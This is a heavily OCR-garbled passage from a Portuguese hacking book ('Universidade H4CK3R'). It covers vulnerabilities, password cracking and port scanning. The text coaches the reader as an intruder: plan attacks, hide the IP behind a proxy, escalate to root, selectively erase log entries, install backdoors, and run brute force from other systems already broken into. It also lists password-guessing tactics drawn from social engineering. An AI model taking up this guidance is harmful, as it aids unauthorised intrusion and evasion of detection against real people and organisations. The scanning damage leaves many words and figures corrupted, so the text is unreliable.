atualizaes e patches recomendados pelo fabricante. Tambm comum dei-
xar as contas-padro do sistema (administrador, root, bin, operdtor, sysop ... a
lista grande) ativas ou com as senhas default.
3. Falhas que permitem a execuo de cdigo arbitrrio na mquina. Pode ser
o passo seguinte do tipo anterior, ou pode ser explomdo dirctamcnte por algum
tipo de exploit, sendo o buffer overflow muito comum.
H outros tipos de falhas, mas no fundo so especializaes desses trs gran-
des grupos. Se o seu objetivo ser um usurio ou administmdor bem informado,
estar atento s listas de segurana um bom ponto de partida, uma vez que a
maioria esmagadora dos autodenominados hackers/crackers no passam de
moleques com vontade de pichar alguma coisa. Tais fedelhos normalmente no
conhecem nada muito alm do divulgado nessas listas. sua obrigao SEMPRE
atender aos apelos do seu fabricante de software e atualizar os programas que
voc usa para ficar imune a essas falhas. Se no o fizer, o azar seu: vdi ficar
merc de adolcSCt:ntes com muuuito tempo livre ...
Superlammers e sua viso de Raio-X
Qualquer falha de segurana possui caractersticas nicas. Cada sistema
operacional e cada programa autnomo apresenta as suas, mas grJ.nde parte das
vulnerabjJjdades permite o acesso a reas consideradas restritas de servidores
e computadores pessoais - trocando em midos, toda estrutura de diretrios de
todos os discos rgidos.
O gr.:U1de problema dos lammers que eles no tm a nnima idia do que esto
fazendo. E nem querem ter: basta encontrar aJgum si{e desprotegido, desfigur-lo e
gozar dos seus cinco minutOS de fama. Com seus conhecimentos limitados, normaJ-
mente usam tUna abordagem de trs estgios para direcionar seus ataques:
1. Busca por computadores vulnerveis
l..ammers normalmente no possuem tUn objetivo deftnido. No esto atrs de
prejudicar aquela companhia ou roubar o dinheiro daquele banco. Pelo contr
rio, vasculham a Internet atrs de computadores (seja servidores, seja pessoais)
que estejam vulnerveis aos poucos tipos de ataque que eles conhecem. Para
tanto, utilizam-se de ferramentas conllecidas como scanners, que, aps fome-
1133 1
I Vulnerabilidades I
I Universidade H4CK3R I
1134 1
cer um conjunto de mquinas a ser testado, retomam listas s que estiverem
desprotegidas. Como possvel colocar faixas inteiras de endereos de Internet
neles, essas listas podem chegar a centenas de computadores e sistemas.
2. Invaso e posse
Mas descobrir as vulnerabilidades n:io o suficiente para executar um ataque.
Uma vez encontrado o alvo fcil , os script-kiddies (outro nome dado aos lammers)
utilizam-se de outras ferramentas para explorar os buracos encontrados. Nor-
malmente, nossos garotos tm em mos uma biblioteca mzovel de exploits -
scripts e programas utilizados pam "desfrutar" das fraquezas da vtima - para
que sua descoberta no seja em vo. H exploits parJ. a mqlfla-alvo
e parJ. cOnlrol-la. Aplicado o exploit apropriado, o lammer o sistema e
faz o que quer com ele.
3. Manuteno do ataque
O lammer sabe que sua gl6ria durar pouco e, portanto, instala no computa-
dor invadido programas que lhe pennitam voltar I{l, mesmo que o buraco por
onde entrou seja obstmdo. Chamados de backdoors - literalmente, porta de
trs - , so rotinas extremamente simples e eficientes que, utilizando os recur-
sos do prprio sistema operacional, pennitem ao invasor conectar-se posteri-
ormente ao sistema. comum instalar mais de um backdoor, e kiddies mais
sofi sticados chegam ao cmulo de instalar entre eles algum facilmente
detectvel . Isso confunde o administrJ.dor da mquina, fazendo-o acreditar que
resolveu o problema removendo apenas aquele.
Note que este livro tem a inteno de apresentar a porta de entmda desse
submundo ao leitor. Nenhum livro, publicao, site ou FAQ na Internet ensullIr
ningum a ser hacker, pois isso depende de anos de estudo, evoluo contnua e
abnegao. Neste captulo, vamos estudar algumas ferrJ.mentas e falhas de segu-
rJ.na mais comuns em micros domsticos e como explor-Ias da fomla mais
eficaz. Obviamente, aqui ainda estaremos no terreno dos lammers. Mas mesmo
sendo procedimentos tecniC'J.mente simples, veremos que no so nada incuos.
Os quatro passos para um hacking feliz
voc j fez toda a parte de Engenharia Social (que seria o passo zero desta
li sta) na vtima. Ou encontrou UOla vtiOla por ;acaso em suas longas noites de
busca a esmo pela Imernel.J descobriu onde esto as brechas e que ferramell-
tas usar. S lhe resta invadi-Ia, mas a pergunta : como? Ser fcil? Ser que no
lima amladillia? Ser que o meu scanner me enganou?
A resposta pam tudo isso planejamento. Os passos a seguir foram compi-
lados de diversos relatos de hackers/crackers. No tm a inteno de ser uma
cartilha, mas podem servir de base para a 0l9ntagem de ;ataques bcm-sucedi-
10m:/( posse (b m:iqu;n:/ Im":ldldt. dcsfigllrJndo-;t ou recllper.mdo (/:/(10$ no jtrgjo aeci//}
ki(/(/it-s
Vulnerabilidades II
Universidade,o ano
dos. So destinados a ataques a redes de empresas, mas possvel adapt-los para
at:lcar computadores pessoais solitrios, tambm.
1. Uma vez descoberta a vulnerabilidade, no tente invadir sua presa imedia-
tamente. Ao contrrio, conhea sua vtima. Visite seu site na Internet (sem ata-
car, apenas olhe). Se for na sua cidade, visite sua sede e tente descobrir mais
sobre produtos, empregos, servios, funcionrios , hbitos ... Podemse usar tc-
nicas passivas (observao para ver o que entra e o que sai da mquina ou
rede) ou ativas, como organizar miniataques a pontos isolados e verificar as
mensagens que so retornadas. O importante coletar informaes suficientes
parJ elaborar um plano de ao, preferencialmente com desfechos alternati
vos, caso algo di: errado.
2. O primeiro acesso a gente nunca esquece. Essa a parte mais importante do
ataque. Podese dizer que esta etapa o ataque propriamente dito. Depois de des-
coberta a vulnerJbilidade e o:aminado o comport.unento da vtima, use o exploit
apropriado para ganhar acesso limitado ao sistema. E no se esquea de usar um
pro"'"y pblico para esconder seu endereo lPr!!
3. Humm. Uma vez com acesso limitado, a prxima etapa consiste em ganhar
acesso total mquina (rom para sistemas Unix, administmdor para sistemas WinNT
- no Win9x, o primeiro acesso j g:uanle controle total...). C. ... da 50 possui procedi-
mentos diferentes pam tal. Uma vez conseguido o acesso irrestrito, basta coletar as
informaes desej'ldas e, se for O caso, desfigu"lr o sistema.
4. Agora que voei: j o sistema, trate de cobrir seus rastros c instalar as
portas de trs. Verifique os logs do sistema e apague tudo o que for relativo sua
visita, MAS APENAS ISSO! Resisla tentao de apagar o log todo - um '" bumco" no
registro de eventos far com que administrador descubm mais cedo do que o
espemdo que algum andou bulindo com seu brinqucdo. Depois de fazer a cirurgia
nos logs, instale os backdoors. Alguns hackers mais experientes tm o cuidado de
aplicar patches no sistema pam remover as portas que os dcixamm cntrar, evitan-
do assim que outros hackers menos habilidosos entrem no sistema e, por descuido,
alertem o adminiSlmdor de que a mquina foi tomada.
Alguns dos passos devem ser repetidos, especialmente o 2. Em alguns casos
ser preciso fazer diversos mini:uaques 2 3 2 3 at que todas as
brechas tenham sido encontradas c exploradas. Obviamente estamos falando
de sites e computadores frouxamente monitorados: tenha sempre cm mente
que muitos sistemas possuem 105 (Intrusion Detection Systems), que detectam
scans e auditam os logs do sistema (o que voc apaga guardado cm Outro log
escondido ... ) , aumemando assim a possibilidade de voc ser pego. lI ainda os
sistemas chamados de Honeypots, que apresentam ao invasor uma apari:ncia
de sistema vulnervel, mas, na realidade, o conduzem para uma armadilha. Nin-
gum quer ir pa"l a cadeia e, mesmo que no haja implicaes penais desse
tipo, ser pego sempre , no mnimo, desagmdvel e desabonador. Alguns cuida-
dos devem ser, portanto, seguidos para que o invasor possa desfrut:ar de sua
presa sem ser importunado.
1135 1
I Vul nerabilidades I
I Universidade H4CK3R I
1136 1
Search and destroy
Agora que voc possui uma idia geral sobre como organizar um ataque
(lembre-se: PLANEJE ANTES!!!), podemos apresent-lo a algumas ferramentas
que o ajudaro em seus ataques. Mas note bem: a velocidade com a qual as
armas so criadas e neutralizadas violenta! No se atenha aqui ao programa
em si, mas sim ao modo de usar uma ferr-dmenta dessas para conduzir um
ataque. quase certo que tais ferramentas no sero eficazes, pois os compu-
tadores j estaro protegidos contra elas. Mas tambm certo que novos
softwares surgiro. Fique ligado!
Logins fracos
No h necessidade de ferramenta alguma, se quem instalou o software j fez o
servio para voc. Todos os sistemas possuem algumas contas-padro j configura-
das antes de o sistema ser instalado (ou .seja, j na midia de instalao). obrigao
de quem est pn;parando uma mquina para utilizao real saber quais so essas
conta5 e mudar as senhas das que sero usadas, desabilitando as restantes.
Tristemente, vemos diversos por a que recebem seus
Windows 2000 e seus Unix diretamente do fornecedor e no se preocupam em
fazer uma anHse de segurana antes de colocar o equipamento em produo.
Para quem quer brincar de hacker, sistemas assim so um prAto cheio. Mesmo
que as senhas sejam alteradas, saber que tais contas existem pode ser um
facilitador parA o script kiddie, uma vez que metade da dupla j conhecida,
faltando apenas adivinhar a senha.
No CD, reunimos diversos conjuntos login/.senha comum, vlidos para a mai-
oria dos sistemas operacionais. Esto em formato texto e podem ser utilizados
como listas de palavras em quebradores de senhas. Logins cujas senhas no so
mostradas na lista so contas que existem mas para as quais no h uma
senha-padro consagrada. Experimente essas combinaes em sistemas conhe-
cidos seus. H sistemas nos quais voc, por engenharia social, j conhece algu-
mas comas, falta tentar alguma senha. Na maioria dos casos, uma das palavras
da lista acima usada como senha por algum.
Arrombando a porta da frente
Nos velhos e bons tempos, as pessoas no er-.un to ligadas em segurana, e furos
como os das contas e senhas-padr.:l0 eram freqemes. Mas hoje todos so parani-
cos. H muito mais chances de voc deparar-se com mll sistema em que todas as
contas-padro fonun canceladas e para o qual engenharia social no possvel.
Nesses casos, o hacker no tem outf"J. alternativa seno tentar, uma por uma,
todas as combinaes de login e senha que ele puder imaginar. Por no deman-
dar inteligncia, mas trabalho braal, tal procedimento chamado de fora bmt:l
ou brute force. Fazlo manualmente impossvel, dadas as propores da tarefa,
ento os crackers normalmente usam programas que aUlOmatizam o processo.
Vulnerabilidades II
Universidade'o ano
o brute force segur'.unentc o mtodo mais deselegante de tentar uma inva-
so por login e senha. Voc pode fazer brUle force no computador do seu ir
mo, em casa, par'd descobrir as senhas dos arquivos Excel ou PDF, por exem-
plo. Ou pode tentar, via Internet, entr'dr naquele sile de sexo com uma dupla
usurio/senha existente, em vez de buscar quebrar a segurana do site por
outnlS vias. Tambm pode experimentar entr'dr na rea restrita da rede de sua
empresa. De qualquer forma, o brute force deselegante, facilmente detectvel
e, em sistemas bem configurados, incuo.
No exemplo do site, um sistema de controle de acesso bem-feito cancelaria o
usurio ou tr'dvaria o login por um tempo detenninado, caso mais de trs tenta-
tivas sem sucesso fossem feitas. Em situaes de war-dialing, necessrio diSC:lr
pam o modem no qual se quer penetrar pafa cada tentativa de brute force, o
que o torna dispendioso em termos de dinheiro e tempo. Entretanto, h casos
(normalmente os mais difceis) em que o brute force a nica sada.
lI um outro mtodo parecido, que pode ser considenu.lo um brure [orce inre-
ligente: os :lt:lques por dicionrios. Utilizam-se listas de pala\'r.ts comuns: no-
mes prprios, marcas conhecidas, grias, nomes de canes, fIlmes ... Os softwares
modernos de fora bruta empregam ambos os processos, tentando primeiro a
lbta de palavras para depois :aplicar as combin:aes seqenciais do brute for-
ce primitivo".
Obvi:amente, o brute force um procedimento perigoso. Um administmdor
de sistemas seguramente perceber que os logs de falhas de login crescem
assllstador'J.mente, e que todas as tentativas vm de um {mico IP Um pale:ltivo
colOC:lr uma esper.t de alguns minutos entre uma tentativa e outra, mas isso vai
retardar ainda mais um processo que, normalmente, pode dumr vrios dias ou
mesmo semanas. O procedimento mais sensato invadir \':riOS sistemas sem
importncia e disparar o bnue force a partir deles (obviamente, sempre ')e
lembrando de apagar seus rastros).
Hackers mais experientes sabem que as listas de p:llavras devem ser
customizadas para cada alvo, e que, para ser considerada boa, uma lista deve
conter elementos conseguidos por engenharia social, como o nome completo
do usurio, de sua namonlda. esposa ou ftIhos, seus passatempos, o modelo de
scu carro novo ou seu endereo. Informaes como estas so utilssima.<;, deti-
vas em mais de ;0% dos :ataques - principalmente quando se tem um nmero
razovel de contas vJidas, bastando descobrir apenas a senha. Se o candidato a
invasor no souber pelo menos o login de uma cont:l vlida, quase ceno que
suas tentatiV'.ts sero infnllferas.
Sua lista de palavras deve conter nomes prprios do pas onde a mquinaalvo
se encontr.t. livros como Que nome d:lrd :10 meu mho? :ajudam muito nessa
hor'.t, e conseguir edies desses livros em diversas lnguas um refinamento
importante da tcnica. Procumr na lista telefnica ou em sua agenda comercial
por nomes e anotaes de outms pessoas tambm uma boa idia.
11371
I VuLnerabiLidades I
I Univers idade H4CK3R I
138 I
Sempre tendo em mente que saber o login correto da vtima mais que meio
caminho andado, aqui vo as sugestes para aplicar como senha nesse login:
1. Sempre tente todos os nomes e sobrenomes da vtima, um por vez. Se o
login o primeiro nome, ou uma combinao de nomes, h muitas chances de
que a senha seja algum dos outros nomes, seguidos ou no de nmeros
seqenciais ou letras._A,_B,_C Oll_XYZ tambm so sufIxos comuns (em mai-
1sculas ou minsculas).
2. Se disponveis, tente as palavras conseguidas por engenharia social: namorada!
esposa, filhos, carro, passatempo, posies sexuais, nomes dos chefes ... Em seguida,
tente os nomes prprios mais comlUlS copiados da agenda ou da lista telefnica.
3. Tambm lima boa idia tentar algo relativo ao sistema que est sendo
invadido. Se a mquina em questo a 1nica que possui AutoCAD em toda a
empresa, tente as senhas acad, autodesk, autocad ou cadcad. Se estiver em um
terminal de mainframes IBM, tente ibmibm, X3270, bigblue, X25. Em um VAX,
experimente vax, vms, digital ou compaq.
4. Usurios tambm so sensveis ao local onde trabalham. Experimente algu-
ma coisa relativa cidade, bairro ou rua onde a empresa se encontra, o prprio
nome;: da empresa ou seus produtos mais famosos. Em uma mquina da Telemar,
por exemplo, poderiam ser tentadas as senhas DDDeh31, velox ou interurbano.
s vezes, o funcionrio est desgostoso com a companhia. Sua senha nesses
casos costuma ser ou uma palavm de baixo calo ou algum produto da concor-
rncia (exemplo: um funcionrio da Conectiva possui a senha windowsxp).
5. Por ltimo, deve-se, separadamente, tentar suas listas de palavds e senhas
comuns. Nunca use listas com mais de cem palavras, pois voc ficaria exposto
demais e facilmente detectvel, alm de modularizar e especializar o ataque.
Um procedimento importante ao elaborar suas listas de palavrJ.s tentar pen-
sar da mesma maneira que o usurio. Caso ele fuja das combinaes comuns
(nome da esposa, fllhos, etc.), sua senha ser o que primeiro lhe vier cabea,
ou o nome de algum objeto que est em sua escrivaninha.
No CD h diversos programas para brute force, a maioria com possibilidade
de se usar em tanto dicionrios quanto combinaes seqi.ienciais. No vamos
recomendar nenhum aqui: teste-os e tire suas prprias concluses.
Sem quebrar o ovo no se faz omelete
lmagine a sicuao inversa da seo anterior. Voc j entrou numa mquina
Unix ou Windows NT/2k/XP e capturou o arquivo de senhas do sistema. Obvia-
mente essas senhas esto criptografadas, ponanto, o arquivo pouco lhe ser.i til
se no fosse uma outra classe de programas que todo cmcker deve ter: os
qllebradores de senhas.
Na maioria das vezes, invade-se o sistema por algmll descuido do administra-
dor, mas com um usurio cujos poderes so muito limitados. ROllbando-se o ar-
quivo de senhas, possvel entrdr nas reas privativas dos outros usurios (den-
Vulnerabilidades II
Universidade 1ano
tro da mesma mquina ou na rede) t: capturar infonnacs teis para um ataque
mais profundo, ou mesmo dados vitais, como senhas para Outros servios, acesso
a reas restritas da empresa ou nmeros de carto de crdito. possvel tambm
conseguir a senha do administrador e realmente a mquJla.
Arquivos de senhas criptografadas geralmente possuem Iwshes ao lado dos
logins. Hashes so uma seqncia de smbolos que, confrontados com a chave
criptogrfica correta, re\'ela a senha do usurio. No Windows NT (e, posterior-
mente, no Wmdows 2000 e no XP) as senhas so armazenadas no registro. Um
exemplo de hash do Windows poderia ser:
maedlnah:1001:3592C2B9967FD3A4976EED543AC98756C3C3CFA2:8903
AD475E3478C45D 15B 1749777DCFD3CC445 7:::
o primeiro campo , obviamente, o login do usurio. O segundo o ID nico
do usurio no sistema. Sistemas da famlia WinNT possuem tal identificao da
mesma forma que nos Unix, embora isso seja escondido dos usurios.
temos dois grandes nmeros, que representam as senhas criptografadas do sis-
tema. A primeira a representao da senha para redes Microsoft antigas, com-
patveis com LAN Manager. Por isso mesmo, chamada de LM Hash. Na verda
de. nem a senha que criptogr.lfada. Do contrrio, o sistema gera dois nme-
ro!. hexadecimais, e esses nmeros so criptogmfados pelo padro DES (Data
Encryption Standard), usando como chave a senha, ajustada para 14 ca'dcteres
(caso o usurio tenha escolhido uma senha menor, so aplicados enchimentos).
Cada metade da senha (scte caracteres) usada panl criptografar um dos n-
meros hexadecimais. Essa representao da senha muito fraca e facilmente
decodificvel por hackers. O mtodo nonnalmente utilizado a diviso do hash
em duas panes, e o hacker usa password crackers independentes em cada
pedao, acclemndo a queb.J. da senha.
A seguinte a chamada representao NT da senh:l . Ao COntrario da anterior,
essa representao muito mais difcil de decifrar. A senJla , tambm, ajustada
para 14 C:lracteres e depois criptograf:lda trs vezes com O algoritmo de hashing
MD-4. Apesar de muilO melhor, ainda ineficiente se comparado :lOS sistemas
Unix. Falta ';sal". O conceito de "salting" (ou interessante. Qualquer
algoritmo de criptognia b:lseia-se na permuta de valores. Tcmpcnlr o hashing
com salt significa escolher aleatoriameme muitos dos valores para permuta, :ldi-
cion:lndo uma nova. camada de desafio p:lr.l a reverso do criptogr'J.ma.A falta de
pennite :10 c'J.cker uS:lr apenas uma estimatiV'.1 de h:lshing para a
senh;! , diminuindo considedvelrncnte o tempo necessrio para descobri-Ia.
Mesmo sem esse problema, o Windows NT/2kJXP possui outro inconveniente
grit,lIltc: os hashes so legveis por qualquer usurio. No h como prevenir que
crackers tenlmm :lcesso :I eles. Alm disso, na maioria dos C:ISOS, a mesm:l senha
blindada pclo hash NT est fracamente dissolvid:l no pseudo-hash LM. Desco-
1139 1
I Vul nerabilidades I
I Universidade H4CK3R I
140 I
brindo o segundo, provvel que o cracker tenha acesso ao sistema e rede.
No Unix, as informaes de login so armazenadas no arquivo /elc/passwd.
O contedo do arquivo passwd muito mais complexo (e completo) que o seu
equivalente microsoftiano.
nonodeogum: $1 $Y gQ8Da9T$WFS59jm V8okWAia2cjr8u 1 : 500: 500:Pai
Nono de Ogum:/home/nonodeogum:/bin/bash
Da esquerda pard a direita, separados por dois pontos, temos: nome de login,
hash da senha, lO do usurio, 10 do grupo a que ele pertence (tanto no WinNT
quanto no Unix os usurios so organizados em grupos), nome completo do
usurio (este o antigo G-COS field) , localizaflo do diretrio pessoal (home)
do usurio e sheU de login. Observe o hash. muito mais complexo que o do
WinNT. No h como o hacker descriptogrdfar a senha porque ela de
A chave de criptografia aplicada quando o usurio cadastra a senha, ficando o
resultado do hashing guardado no arquivo passwd.A chave, sendo de ni-
ca", s pode ser descoberta por bmte force. Quando o usurio Ioga-se no siste-
ma, a senha do arquivo no decifrada. Ao contrrio, a senha que ele
fornece durante o login criptografada novamente e comparada com a que
est gravada no arquivo. Se ambas o usurio tem acesso ao sistema.
Uma das caractersticas interessantes que nenhum algoritmo de criptografia
gera um hash que contenha o caractere Por isso mesmo, colocar um
caractere desses no lugar da senha impede o login por aquela conta.
A abordagem /etc/passwd tem um problema. Todos os usurios devem po-
der ler do arquivo, pois suas informaes vitais (UlD, GID, home e shell) esto
nele. Isso quer dizer que os hashes de todos os usurios ficam desprotegidos e
qualquer lammer com uma conta no sistema pode querer rodar um quebrador
de senhas neles. Mesmo sendo difcil de quebrdr, um arquivo que pode ser lido
por todo mundo tambm pode ser copiado em disquete, levado para casa e
quebrado sossegadamente por uma mquina comum, sem que ningum saiba.
Para resolver esse problema, a maioria dos Unices de hoje utiliza O
sombreamento de senhas ou shadow passwords. O shadow um arquivo com
permisso de leitura apenas para o roo1. No /etc/passwd, no lugar da senha,
temos um "U ou para indicar que a senha est no arquivo shadow. Esta tcni-
ca sozinha torna impossvel conseguir, como usurio normal, as senhas de ou
tros usurios. E, como sabemos, na maioria dos ataques temos de conseguir
acesso restrito primeiro para depois tentar acesso irrcstrito. Um rtico expedi-
ente coloca dois nveis de dificuldade a mais no caminho do cracker.
O quebrador de senha mais conhecido para a fdmlia WinNT o LOphtCrack,
uma ferramenta de uso muito fcil e capaz de quebrar os fracos hashes do
Windows em pouco tempo. Atualmente est disponvel apenas cm verso co-
merciai custando US$ 350, mas pode-se conseguir o cdigo-fonte de uma ver-
Vulnerabilidades II
Universidade,o ano
so mais antiga no endereo www.atstake.comlresearchllcLdownload.html. Par.!
Unix, a vedete o fabuloso John lhe rupper. O software capaz de quebr.lf, com
alguma ajuda da engenharia social, as senhas dos arquivos passwd e shadow (se
o Cfacker conseguir acesso a eles) e, em conjuno com ferramentas de
conectividade, pode capturar senhas criplOgrafadas que trafegam em uma rede.
Alm de Unix, h verses do programa para DOS, Win32, 13e0S e OpenVMS e
chec:lgem de Kerberos AFS e pseudo-hashes LM do Windows NT/2k/XP O John
lhe Ripper est disponvel em www.opcnwaJl.comliohnl.
O le itor deve ter not:ldo que no mencionamos :I famlia Win9x nesta seo
sobre senhas. O motivo bem simples: no h segurJ.na nesse ambiente. As
senhas so gravadas em arquivos com o nome do usurio e a extenso PWL.
Deve ser relativamente fcil quebrdr :IS senhas embaralh:ldas nesses arquivos
(recusaOlo-nos a usar a palavra Mcriptografadas" aqui) , mas no h necessida-
de de tanto: b:lst:l apagar os arquivos e o Windows alegremente pede novas
senhas ... Entretanto, como os arquivos PWL podem guardar Ce normalmente o
fazem) a mesma senha da rede. quebr-los pode ser bem til! H miJIures de
qucbradores de PEl no packetstormscurity.nl.
Scanners
Scanners so programas utilizados para varrer os computadores em uma rede
procura de vulnerabilidades. H portas abertas a ataques tanto em mquinas
pessoais quanto em servidores de todos os tamanhos. Os sc;mners buscam siste-
mas que estejam desprotegidos e prontos para receber uma anlise minuciosa
sobre sua segurana. A maioria dos scanners no foi desenvolvida com inteno
de LISO maligno. Mas como a rosa bonita e perfumada tambm possui espinllOs,
s ~ o utilizados pelos dois lados: os hackers os utilizam pard o ataque, enquanto os
administrddores procuram as brechas para fazer as devidaS correes.
Existem scanners especificos, desenvolvidos por empresas, que do nfase
segur.ma e que geralmente custam caro. Como um crdcker no respeita nada,
fatalmente tais scanners cairo em suas mos. Outros so criados por hackers
mais cxperiemes. Enquanto a vulnerabilidade que esses scanners explomm for
segredo de cls, poucos tero acesso a eles. Depois que ficam obsoletos, so
postos na rede pard que os script kiddies possam fazer uso. Por isso, bom
lembrar que scanners encontmdos facilmente na Internet podem no ser mais
to eficientes ou so mesmo completamente inteis.
Podemos dividir os scanners em dois tipos: o scanner de portas TCP/lP aber-
tas (ou portscanner) e o scanner de vulnerabilidades conhecidas.
Portscanners
Toda mquina com conectividade TCP/lP possui, em teoria, mais de 128 mil
pontos vulnerveis. Cada servio de rede que estiver disponvel em uma deter-
minad" mquina uma porta de entrada em potencial - como vimos no caplu-
1141 1
I Vul nerabitidades I
I Universidade H4CK3R I
11421
10 sobre Unix. Em Redes I, aprendemos que cada um desses servios a
rede por meio de uma porta representada por um nmero, espera de cone-
xes. Como so 65.536 portas para o protocolo TDP e 65.536 porias para o
protocolo UDp, temos a uma verdadeira legio de hidras. Por exemplo, se a
mquina for um servidorWeb, bem provvel que a porta TCP 80 esteja aberta,
parA que outros computadores possam acessar as pginas IITML Outro exem-
plo: uma mquina Windows que esteja com o compartilhamento ("share") de
arquivos ligado as portas 137, 139 e 455 espera de outras mquinas
Windows que queiram ler os arquivos compartilhados. Esses nmeros esto
normatizados na RFC 1 700" .
Os portscanners verificam as portas TCP/lP abertas de um sistema. Seu objetivo
listar os servios de rede TCP/IP disponveis, fazendo com que respondam quan
do consultados. Com os resultados fornecidos pelo portscanner e o conhecimento
da RFC 1700, o hacker pode detem1inar quais servios esto dando sopa e aplicar
neles os exploits pertinentes. Existem tambm os steaJlh por! scanners, que utili-
zam tcnicas de no-conexo ou conexo incompleta para no serem detectados -
nem sempre com sucesso - como se tivessem um sistema de camuflagem. Os admi-
nisu-adores tm de utilizar ferramentas especficas para detecllos.
Quase todas as tcnicas de portscanning valemse dos sinais (ou flags) TCr,
UDP ou ICMP trocados entre os programas que querem se coneclar. Apenas
para referncia rpida, os sinais so estes:
PSH (Push) - Um tipo de descarga", acek.TJ. a tr.msrnisso para poderfinaliz-la
SYN (synchronize) - lcmativa de sincronizao entre ponas
ACK(acknowledgc) -Indica queos pacotes anteriores for.un aceitos no destino
RST (reset) -Interrompe a concxo,oc\'idoal.TI'OS ou "queda de linha"
FIN (finish) - FirulizIdordeconex.1.o, usado no fim d1. transmisso (no h mais dados)
URG (urge:nt) - Sirutlizadorde urg[Tlda
A partir da anlise desses sinais, os scanners retiram informaes teis sobre
os sistemas e os comparam com padres predefinidos. O resultado disso
passado para o hacker, que interpreta os resultados baseado em sua experi
ncia e conhecimento e decide quais exploits usar. Escovaremos mais bits
sobre hadshakeTCP/IP e funcionamento de scanners nos captulos seguintes.
Se tudo at aqui lht: paret:eu confuso, no prossiga. Releia o captulo Redes I,
e alguns dos tlllOriais sobre TCP/IP includos no CD. Recomendamos ainda os
excelentes livros de Andrew Tannembaum e do Prof. Gabriel Torres, Redes de
Comput.1dores. Apesar do mesmo nome, so dois livros diferentes. A Internet
tambm est cheia de tutoriais sobre TCP/IP. Use seu mecanismo de busca favo-
rito e divirta-se!
4 RcqucSf for CommenB' ,;lio dacumemos com pilr.! impkmcllIilo de "enio"
normas p.1r3 il Cm /{erJ./. T()(/OS cles podem consullildos cm www;jc/LorgIcll/ml.
Vulnerabilidades II
Universidade 10 ano
Funci onamento de um scanner de portas
Existcm centenas de scanners de portas espalhados pela Internet. Em primei-
ro lugar, devemos escolher a plataforma na qual vamos trabalhar, Unix (incluin-
do a Linux) ou Windows. Grande parte dos iniciantes prefere a segunda opo,
pois ,I maioria das ferramentas so mais fceis de trJbalh:lr. Depois de
um pouco com esses scanners e vcrificar seu modus oper.mdi, podemos passar
a usar scanners mais complexos e poderosos.
Um.1 das opes dos Ix>ns prograrrulS de scan a possibilid:lde de definir um r.lJ1b't: ou
f.lixa de Uls a serem verificados. Por exemplo, poder:mlos varrer os endereos entre
192. 168. 1.1 e 192.168. 1. 10 - dez J1l.1.quin.'1S em uma rede privJda - ou entre 64.x.x.1 e
6-i.y.y.25-1 - 252 mquinas n:l lnu::met pblica. Obs<-1VC que em qualqoc-T f.tixa de ende-
reo IXKlercmos encontr.lr compUl:tdorL"S pessoais, estaes de trabalho ou servidores.
Omitimos x.x e y.y dos endert"'os do exemplo para prot(:ger OS inocenK'S. ;-)
Lcmbr.mdo quc IPs internos como os de grandes empresas no podem ser
atacados diretamente pela Internet. Seria necessrio passar primeiro pelo
gateway, pdo firewall , conseguir um shell em alguma mquina que possua
imerfaces de rede tanto na Internet quanto na rede interna e mapear a rede
interna at chegar mquin;1 desejada - o que no nada fcil. por enquanto ..
No caso de um endereo direlameme conectado Internet , necessrio fa-
zer uma escoUla das ponas mais comumente vulnerJvcis_ Aps definir o rJnge
dos IPs, podemos, ao nosso gosto, definir quais porlas vamos testar e quais
mClodos USaremos ndas. Restringir o nllmero de portas lima atit ude sbia.
pois, se voc escanear TODAS as portas, seguramente sc r, detectado por um
administrador atento (ou um ID5). Comece com os servios mais comuns, nos
quais voc pode ser confundido com o tr.fego normal. Nossas sugestes so as
conhecidas portas 21 (relnet), 2; (Mail), 53 (DNS), 80 (Web) e 139/ 445 (SMBI
CIFS). fms didticos, consideremos escanear as portas_ Dcpois de configu-
r'Jdo, basta colocar o progr'Jma para rodar e veremos o seguime resultado:
Address : 192 . 168.1 . 12
Port 21 Listening
Port 22
Port 25
Port l l 0
Listening
Listening
Listening
As portas 21 , 22, 2; e 11 0 podem estar abertas pam uma possvel invaso,
podem estar sob a vigilncia de um adminislrador e podem realmente ser segu-
ras_ A porta 110 oferece o servio POP3. por onde voc se conecta pam
baixar seus e-mails. Ora, essa porta TEM de estar aberta (nos servidores de e-
mail, obviamente), de oulrJ forma ni ngum poderia ler correspondncia eletr-
nica. Portas abenas no SilO Sinnimo de insegurana. O problema so as portas
aberta, cujos programas que as possuem falhas de segurana.
11431
I Vul nerabil idades I
I Universi dade H4CK3R I
11441
o portscanner mais conhecido da face da terra O nmap (www.insecure.orgl
nmapD. Desenvolvido originalmente para Unix, possui verses para muitos
sistemas operacionais, incluindo O Windows. Concebido para a linha de CD-
m,mdo, possui diversos frontends grficos, como o NmapWin para Windows
(www.nmapwin.org) e o nmapfe par-d Unix (incluso no pacote do nmap). Ex-
tremamente flexvel e poderoso, o nmap e vrios de seus frontends para
Windows, Unix e Mac esto includos no CD.
Scanner de vulnerabilidade
Ns utilizamos os portscans para verificar os servios ativos em um dado siste-
ma. Uma vez determinados esses servios, entra em cena um outro tipo de
scanner: o de vulnerabilidades. BasicameOle, a idia do scanner de vulnerabilidade
, atravs de uma lista de falhas conhecidas, checar se o sistema est ou no
executando um servio com problemas. Estes scanners facilitam sobremaneira
o trabalho do invasor, automatizando o processo de conexo a cada um dos
servios listados pelo ponscan e a verificao de fraquezas. Sendo automtico,
poupa ao invasor dias de trabalho, pois pode checar sozinho dezenas ou mesmo
centenas de vulnerabilidades sem a interveno do black-hat.
Um bom scanner de vulnerabilidade deve verificar os seguintes itens:
Erros comuns de configurao: administradores de sistema inaplOs e
usurios leigos deixam, por incompetncia, vrias ponas abertas e fraquezas
desprotegidas em seus sistemas.
Configuraes e senhas-padro: no h nada de que um hacker goste
mais do que um administrador de sistemas que instala sofrwares e os deixa
com as configuraes de fbrica. Ri-se de babar ao perceber servidores com
usurios e senhas-padro (do tipo usurio: root senha:root ou usurio:admin
senha:master) ou com diversos servios inseguros desnecessariamente ativados.
Combinaes bvias de usurio e senha: outro problema so as senhas
bvias. Usurios comuns j possuem a tendncia de colocar uma senha fcil de
lembrar (o nome da esposa, por exemplo). A situao piora quando usam com-
binaes de nomes nOlOriameme pblicos. Exemplos de pares usurio/senha
fracos: fabio/junior, wanderley/luxemburgo, alice/cooper, carla/perez, george/
walkerbush. Outro problema so senhas de palavras do dicionrio: h
quebradores de senha com listas de palavras comuns. Um estudo feilO em 1998
por uma empresa norte-americana mostrou que 82% dos funcionrios utiliza-
V'am, como senha, alguma posio sexual ou o nome do chefe modificado de
fonna pejorativa.
Vulnerabilidades divulgadas: sempre que uma falha de segurana
